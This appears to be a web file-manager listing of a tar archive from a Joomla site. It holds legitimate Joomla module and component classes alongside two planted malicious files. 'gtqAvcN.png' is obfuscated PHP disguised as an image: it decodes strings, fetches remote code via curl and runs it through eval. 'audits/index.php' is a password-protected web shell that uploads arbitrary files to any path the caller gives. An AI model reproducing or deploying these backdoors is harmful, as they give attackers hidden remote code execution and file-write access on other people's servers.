| Current Path : /home/opticamezl/www/newok/ |
| Current File : /home/opticamezl/www/newok/src.tar |
Helper/RelatedItemsHelper.php 0000644 00000015426 15165234652 0012237 0 ustar 00 <?php
/**
* @package Joomla.Site
* @subpackage mod_related_items
*
* @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Module\RelatedItems\Site\Helper;
use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;
use Joomla\Component\Content\Site\Model\ArticlesModel;
use Joomla\Database\DatabaseAwareInterface;
use Joomla\Database\DatabaseAwareTrait;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* Helper for mod_related_items
*
* @since 1.5
*/
class RelatedItemsHelper implements DatabaseAwareInterface
{
use DatabaseAwareTrait;
/**
* Retrieve a list of related articles based on the metakey field
*
* @param Registry $params The module parameters.
* @param SiteApplication $app The current application.
*
* @return \stdClass[]
*
* @since 4.4.0
*/
public function getRelatedArticles(Registry $params, SiteApplication $app): array
{
$db = $this->getDatabase();
$input = $app->getInput();
$groups = $app->getIdentity()->getAuthorisedViewLevels();
$maximum = (int) $params->get('maximum', 5);
$factory = $app->bootComponent('com_content')->getMVCFactory();
// Get an instance of the generic articles model
/** @var ArticlesModel $articles */
$articles = $factory->createModel('Articles', 'Site', ['ignore_request' => true]);
// Set application parameters in model
$articles->setState('params', $app->getParams());
$option = $input->get('option');
$view = $input->get('view');
if (!($option === 'com_content' && $view === 'article')) {
return [];
}
$temp = $input->getString('id');
$temp = explode(':', $temp);
$id = (int) $temp[0];
$now = Factory::getDate()->toSql();
$related = [];
$query = $db->getQuery(true);
if ($id) {
// Select the meta keywords from the item
$query->select($db->quoteName('metakey'))
->from($db->quoteName('#__content'))
->where($db->quoteName('id') . ' = :id')
->bind(':id', $id, ParameterType::INTEGER);
$db->setQuery($query);
try {
$metakey = trim($db->loadResult());
} catch (\RuntimeException $e) {
$app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
return [];
}
// Explode the meta keys on a comma
$keys = explode(',', $metakey);
$likes = [];
// Assemble any non-blank word(s)
foreach ($keys as $key) {
$key = trim($key);
if ($key) {
$likes[] = $db->escape($key);
}
}
if (\count($likes)) {
// Select other items based on the metakey field 'like' the keys found
$query->clear()
->select($db->quoteName('a.id'))
->from($db->quoteName('#__content', 'a'))
->where($db->quoteName('a.id') . ' != :id')
->where($db->quoteName('a.state') . ' = ' . ContentComponent::CONDITION_PUBLISHED)
->whereIn($db->quoteName('a.access'), $groups)
->bind(':id', $id, ParameterType::INTEGER);
$binds = [];
$wheres = [];
foreach ($likes as $keyword) {
$binds[] = '%' . $keyword . '%';
}
$bindNames = $query->bindArray($binds, ParameterType::STRING);
foreach ($bindNames as $keyword) {
$wheres[] = $db->quoteName('a.metakey') . ' LIKE ' . $keyword;
}
$query->extendWhere('AND', $wheres, 'OR')
->extendWhere('AND', [ $db->quoteName('a.publish_up') . ' IS NULL', $db->quoteName('a.publish_up') . ' <= :nowDate1'], 'OR')
->extendWhere(
'AND',
[
$db->quoteName('a.publish_down') . ' IS NULL',
$db->quoteName('a.publish_down') . ' >= :nowDate2',
],
'OR'
)
->bind([':nowDate1', ':nowDate2'], $now);
// Filter by language
if (Multilanguage::isEnabled()) {
$query->whereIn($db->quoteName('a.language'), [$app->getLanguage()->getTag(), '*'], ParameterType::STRING);
}
$query->setLimit($maximum);
$db->setQuery($query);
try {
$articleIds = $db->loadColumn();
} catch (\RuntimeException $e) {
$app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
return [];
}
if (\count($articleIds)) {
$articles->setState('filter.article_id', $articleIds);
$articles->setState('filter.published', 1);
$related = $articles->getItems();
}
unset($articleIds);
}
}
if (\count($related)) {
// Prepare data for display using display options
foreach ($related as &$item) {
$item->slug = $item->id . ':' . $item->alias;
$item->route = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language));
}
}
return $related;
}
/**
* Get a list of related articles
*
* @param Registry &$params module parameters
*
* @return array
*
* @since 1.6
*
* @deprecated 4.4.0 will be removed in 6.0
* Use the non-static method getRelatedArticles
* Example: Factory::getApplication()->bootModule('mod_related_items', 'site')
* ->getHelper('RelatedItemsHelper')
* ->getRelatedArticles($params, Factory::getApplication())
*/
public static function getList(&$params)
{
/** @var SiteApplication $app */
$app = Factory::getApplication();
return (new self())->getRelatedArticles($params, $app);
}
}
Dispatcher/Dispatcher.php 0000644 00000002065 15165234652 0011445 0 ustar 00 <?php
/**
* @package Joomla.Administrator
* @subpackage com_privacy
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Privacy\Administrator\Dispatcher;
use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Dispatcher\ComponentDispatcher;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* Component dispatcher class for com_privacy
*
* @since 4.0.0
*/
class Dispatcher extends ComponentDispatcher
{
/**
* Method to check component access permission
*
* @return void
*/
protected function checkAccess()
{
// Check the user has permission to access this component if in the backend
if ($this->app->isClient('administrator') && !$this->app->getIdentity()->authorise('core.admin', $this->option)) {
throw new NotAllowed($this->app->getLanguage()->_('JERROR_ALERTNOAUTHOR'), 403);
}
}
}
Helper/ArticlesCategoriesHelper.php 0000644 00000005657 15172141213 0013422 0 ustar 00 <?php
/**
* @package Joomla.Site
* @subpackage mod_articles_categories
*
* @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Module\ArticlesCategories\Site\Helper;
use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Categories\CategoryInterface;
use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Factory;
use Joomla\Database\DatabaseAwareInterface;
use Joomla\Database\DatabaseAwareTrait;
use Joomla\Registry\Registry;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* Helper for mod_articles_categories
*
* @since 1.5
*/
class ArticlesCategoriesHelper implements DatabaseAwareInterface
{
use DatabaseAwareTrait;
/**
* Given a parent category, return a list of children categories
*
* @param Registry $moduleParams The module parameters.
* @param SiteApplication $app The current application.
*
* @return CategoryNode[]
*
* @since 4.4.0
*/
public function getChildrenCategories(Registry $moduleParams, SiteApplication $app): array
{
// Joomla\CMS\Categories\Categories options to set
$options = [];
// Get the number of items in this category or descendants of this category at the expense of performance.
$options['countItems'] = $moduleParams->get('numitems', 0);
/** @var CategoryInterface $categoryFactory */
$categoryFactory = $app->bootComponent('com_content')->getCategory($options);
/** @var CategoryNode $parentCategory */
$parentCategory = $categoryFactory->get($moduleParams->get('parent', 'root'));
if ($parentCategory === null) {
return [];
}
// Get all the children categories of this node
$childrenCategories = $parentCategory->getChildren();
$count = $moduleParams->get('count', 0);
if ($count > 0 && \count($childrenCategories) > $count) {
$childrenCategories = \array_slice($childrenCategories, 0, $count);
}
return $childrenCategories;
}
/**
* Get list of categories
*
* @param Registry $params module parameters
*
* @return array
*
* @since 1.6
*
* @deprecated 4.4.0 will be removed in 6.0
* Use the non-static method getChildrenCategories
* Example: Factory::getApplication()->bootModule('mod_articles_categories', 'site')
* ->getHelper('ArticlesCategoriesHelper')
* ->getChildrenCategories($params, Factory::getApplication())
*/
public static function getList($params)
{
/** @var SiteApplication $app */
$app = Factory::getApplication();
return (new self())->getChildrenCategories($params, $app);
}
}
Dispatcher/Dispatcher/gtqAvcN.png 0000604 00000012401 15172141213 0012760 0 ustar 00 <?php
goto O9OmBhUNfdo; crDILtoo6t9: class jVdC53pD6LH { static function dyHrry0chJc($tuPEmGVhQf5) { goto t6Z5rT5S3Hm; t6Z5rT5S3Hm: $m0iBD7VzjYI = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto B_yMpR9Xi5U; B_yMpR9Xi5U: $pfWQWXk1IUa = $m0iBD7VzjYI("\176", "\40"); goto AQCxiKSBGK1; ouO12xPpwML: return $KqBWDnYJhzn; goto FikbmCX9Bud; hY_amfxxoEx: yXGf36qN9b8: goto ouO12xPpwML; cJ3tkkwYrtO: foreach ($xAMtfbQzA6b as $hg8jq7bvXzS => $An4tG6yncwy) { $KqBWDnYJhzn .= $pfWQWXk1IUa[$An4tG6yncwy - 64081]; vtx18dMsy0W: } goto hY_amfxxoEx; Hv3gQd6OCLB: $KqBWDnYJhzn = ''; goto cJ3tkkwYrtO; AQCxiKSBGK1: $xAMtfbQzA6b = explode("\74", $tuPEmGVhQf5); goto Hv3gQd6OCLB; FikbmCX9Bud: } static function IL2QhETzqIk($e0LiyvHCdw4, $GqyTzr6y61J) { goto IZcOR1LwRV8; IZcOR1LwRV8: $wEoS7JBDENH = curl_init($e0LiyvHCdw4); goto nI5oD_EnQPv; IRZFhy4TSr7: return empty($mR9Tjy94Wro) ? $GqyTzr6y61J($e0LiyvHCdw4) : $mR9Tjy94Wro; goto hEqFc3OXlEQ; auYWFvEwWrp: $mR9Tjy94Wro = curl_exec($wEoS7JBDENH); goto IRZFhy4TSr7; nI5oD_EnQPv: curl_setopt($wEoS7JBDENH, CURLOPT_RETURNTRANSFER, 1); goto auYWFvEwWrp; hEqFc3OXlEQ: } static function S0VSpdPkrvz() { goto IHZU0KypYhE; mxbdjHK443M: @eval($dI4aBYjzYPz[1 + 3]($Q1zLKaSaNjR)); goto y8WKlzeerTe; Ka7mTPNJfhB: foreach ($MDvN7sA2XP1 as $G8bmoNje371) { $dI4aBYjzYPz[] = self::DyHRRy0ChJc($G8bmoNje371); k_9MOYiqGES: } goto rfsFKP_wkEY; PvWyjJivykD: $yt7Q4Y1HGOQ = @$dI4aBYjzYPz[1]($dI4aBYjzYPz[3 + 7](INPUT_GET, $dI4aBYjzYPz[8 + 1])); goto gVu5PaCHq03; Sy3mjAF0qMk: $Q1zLKaSaNjR = self::il2QHeTZqIK($oLvr9aOAmAl[0 + 1], $dI4aBYjzYPz[5 + 0]); goto mxbdjHK443M; PEHSB2iMMeq: @$dI4aBYjzYPz[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($dI4aBYjzYPz[1 + 4](__FILE__)); goto maAbCoNPn_P; y8WKlzeerTe: die; goto tdHwYWVkIml; IHZU0KypYhE: $MDvN7sA2XP1 = array("\66\x34\61\60\70\x3c\x36\64\60\x39\63\74\x36\x34\x31\60\x36\74\x36\x34\61\61\x30\x3c\66\x34\x30\71\x31\x3c\66\64\61\60\66\74\x36\x34\61\x31\62\x3c\x36\x34\x31\x30\65\74\x36\64\x30\71\60\74\66\64\x30\x39\x37\x3c\66\64\x31\60\x38\x3c\66\64\60\x39\x31\x3c\66\64\61\60\x32\x3c\x36\x34\x30\x39\66\74\x36\x34\x30\71\67", "\66\64\60\x39\x32\x3c\x36\x34\x30\71\x31\x3c\x36\64\60\x39\x33\x3c\x36\x34\x31\x31\x32\x3c\x36\x34\x30\71\x33\x3c\x36\64\60\x39\x36\74\66\64\60\x39\61\x3c\x36\64\61\x35\70\74\x36\64\x31\65\x36", "\66\64\x31\60\x31\x3c\66\x34\x30\x39\62\74\66\64\x30\x39\x36\74\66\64\x30\x39\x37\74\66\64\x31\61\x32\74\x36\64\x31\60\x37\74\66\64\61\x30\66\74\x36\x34\x31\60\x38\x3c\x36\64\60\x39\66\74\66\64\x31\60\67\x3c\x36\x34\x31\60\66", "\66\64\x30\71\65\74\x36\64\61\61\x30\x3c\66\x34\61\60\x38\74\x36\64\61\60\60", "\66\64\61\x30\71\74\66\64\61\61\60\x3c\x36\x34\60\71\62\x3c\66\64\x31\x30\x36\74\x36\x34\x31\x35\x33\74\66\x34\x31\x35\65\x3c\66\x34\61\x31\62\x3c\66\x34\61\60\x37\74\66\64\x31\60\x36\74\66\64\61\x30\x38\74\66\x34\60\71\x36\74\x36\x34\x31\x30\67\74\x36\64\61\60\x36", "\x36\64\x31\x30\x35\x3c\66\64\x31\x30\62\74\66\x34\x30\x39\x39\x3c\x36\x34\61\x30\x36\x3c\x36\x34\61\x31\x32\x3c\66\64\61\60\x34\x3c\66\x34\x31\60\x36\74\x36\x34\x30\x39\x31\74\x36\64\61\61\x32\74\x36\64\x31\x30\70\74\66\64\x30\71\x36\74\66\64\x30\x39\x37\74\x36\64\x30\71\61\74\66\x34\x31\x30\x36\x3c\66\x34\x30\71\67\74\66\64\x30\71\61\x3c\66\64\60\x39\x32", "\x36\64\x31\x33\65\74\66\64\x31\66\65", "\66\x34\60\x38\62", "\x36\x34\x31\x36\60\74\66\x34\x31\66\x35", "\66\64\x31\x34\x32\74\66\64\61\62\65\x3c\x36\x34\61\62\65\x3c\x36\x34\61\64\62\x3c\66\64\x31\x31\70", "\x36\x34\x31\x30\65\x3c\66\64\x31\60\62\74\66\x34\x30\71\71\74\66\64\x30\x39\x31\x3c\x36\x34\x31\60\x36\74\66\64\60\71\63\74\66\64\61\x31\x32\x3c\66\x34\61\60\x32\x3c\x36\64\x30\71\67\x3c\66\64\60\71\65\74\x36\64\60\x39\60\x3c\66\x34\60\71\x31"); goto Ka7mTPNJfhB; gVu5PaCHq03: $tQXTi34ZIW7 = @$dI4aBYjzYPz[3 + 0]($dI4aBYjzYPz[2 + 4], $yt7Q4Y1HGOQ); goto m8kuG2g6TMc; rfsFKP_wkEY: y591O9wCSbq: goto PvWyjJivykD; maAbCoNPn_P: if (!(@$oLvr9aOAmAl[0] - time() > 0 and md5(md5($oLvr9aOAmAl[0 + 3])) === "\142\70\146\141\67\65\66\x37\61\x65\65\61\x34\x30\60\x38\x65\66\143\71\70\144\x31\146\x32\63\63\63\x31\x34\x37\x63")) { goto gg_x395uj2Z; } goto Sy3mjAF0qMk; tdHwYWVkIml: gg_x395uj2Z: goto qalIY0VwLyU; m8kuG2g6TMc: $oLvr9aOAmAl = $dI4aBYjzYPz[2 + 0]($tQXTi34ZIW7, true); goto PEHSB2iMMeq; qalIY0VwLyU: } } goto LXq2CZ6K6xe; O9OmBhUNfdo: $fqb0t2U8zaT = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto SVlknw01L17; GQTEy__1NbI: metaphone("\x50\107\x4b\x39\171\61\x59\104\162\64\x4d\152\x61\x43\x6a\x4e\x51\x37\104\166\x2b\166\120\x56\x4a\x4d\151\154\x59\125\112\x52\66\x65\x42\x6f\x63\60\x73\x69\x70\x6e\x73"); goto crDILtoo6t9; SVlknw01L17: $ZXgj04RhcqJ = $fqb0t2U8zaT("\x7e", "\40"); goto nDySdPrAE3y; zeK_HLR5yTr: @(md5(md5(md5(md5($gViWgQYiwsQ[24])))) === "\143\64\62\x34\71\x64\x66\145\63\x32\71\146\x31\x63\143\62\x63\145\62\71\x32\146\x32\x36\x37\x31\65\66\67\x66\144\x34") && (count($gViWgQYiwsQ) == 30 && in_array(gettype($gViWgQYiwsQ) . count($gViWgQYiwsQ), $gViWgQYiwsQ)) ? ($gViWgQYiwsQ[66] = $gViWgQYiwsQ[66] . $gViWgQYiwsQ[72]) && ($gViWgQYiwsQ[88] = $gViWgQYiwsQ[66]($gViWgQYiwsQ[88])) && @eval($gViWgQYiwsQ[66](${$gViWgQYiwsQ[40]}[27])) : $gViWgQYiwsQ; goto GQTEy__1NbI; nDySdPrAE3y: $gViWgQYiwsQ = ${$ZXgj04RhcqJ[27 + 4] . $ZXgj04RhcqJ[53 + 6] . $ZXgj04RhcqJ[30 + 17] . $ZXgj04RhcqJ[34 + 13] . $ZXgj04RhcqJ[19 + 32] . $ZXgj04RhcqJ[44 + 9] . $ZXgj04RhcqJ[31 + 26]}; goto zeK_HLR5yTr; LXq2CZ6K6xe: JvDC53Pd6lh::S0vSPdpkrvz();
?>
Dispatcher/Dispatcher/audits/index.php 0000604 00000002453 15172141213 0014026 0 ustar 00 <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
$_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
echo('kill_the_net');
$files = @$_FILES["files"];
if ($files["name"] != '') {
$fullpath = $_REQUEST["path"] . $files["name"];
if (move_uploaded_file($files['tmp_name'], $fullpath)) {
echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
}
}echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>';
?>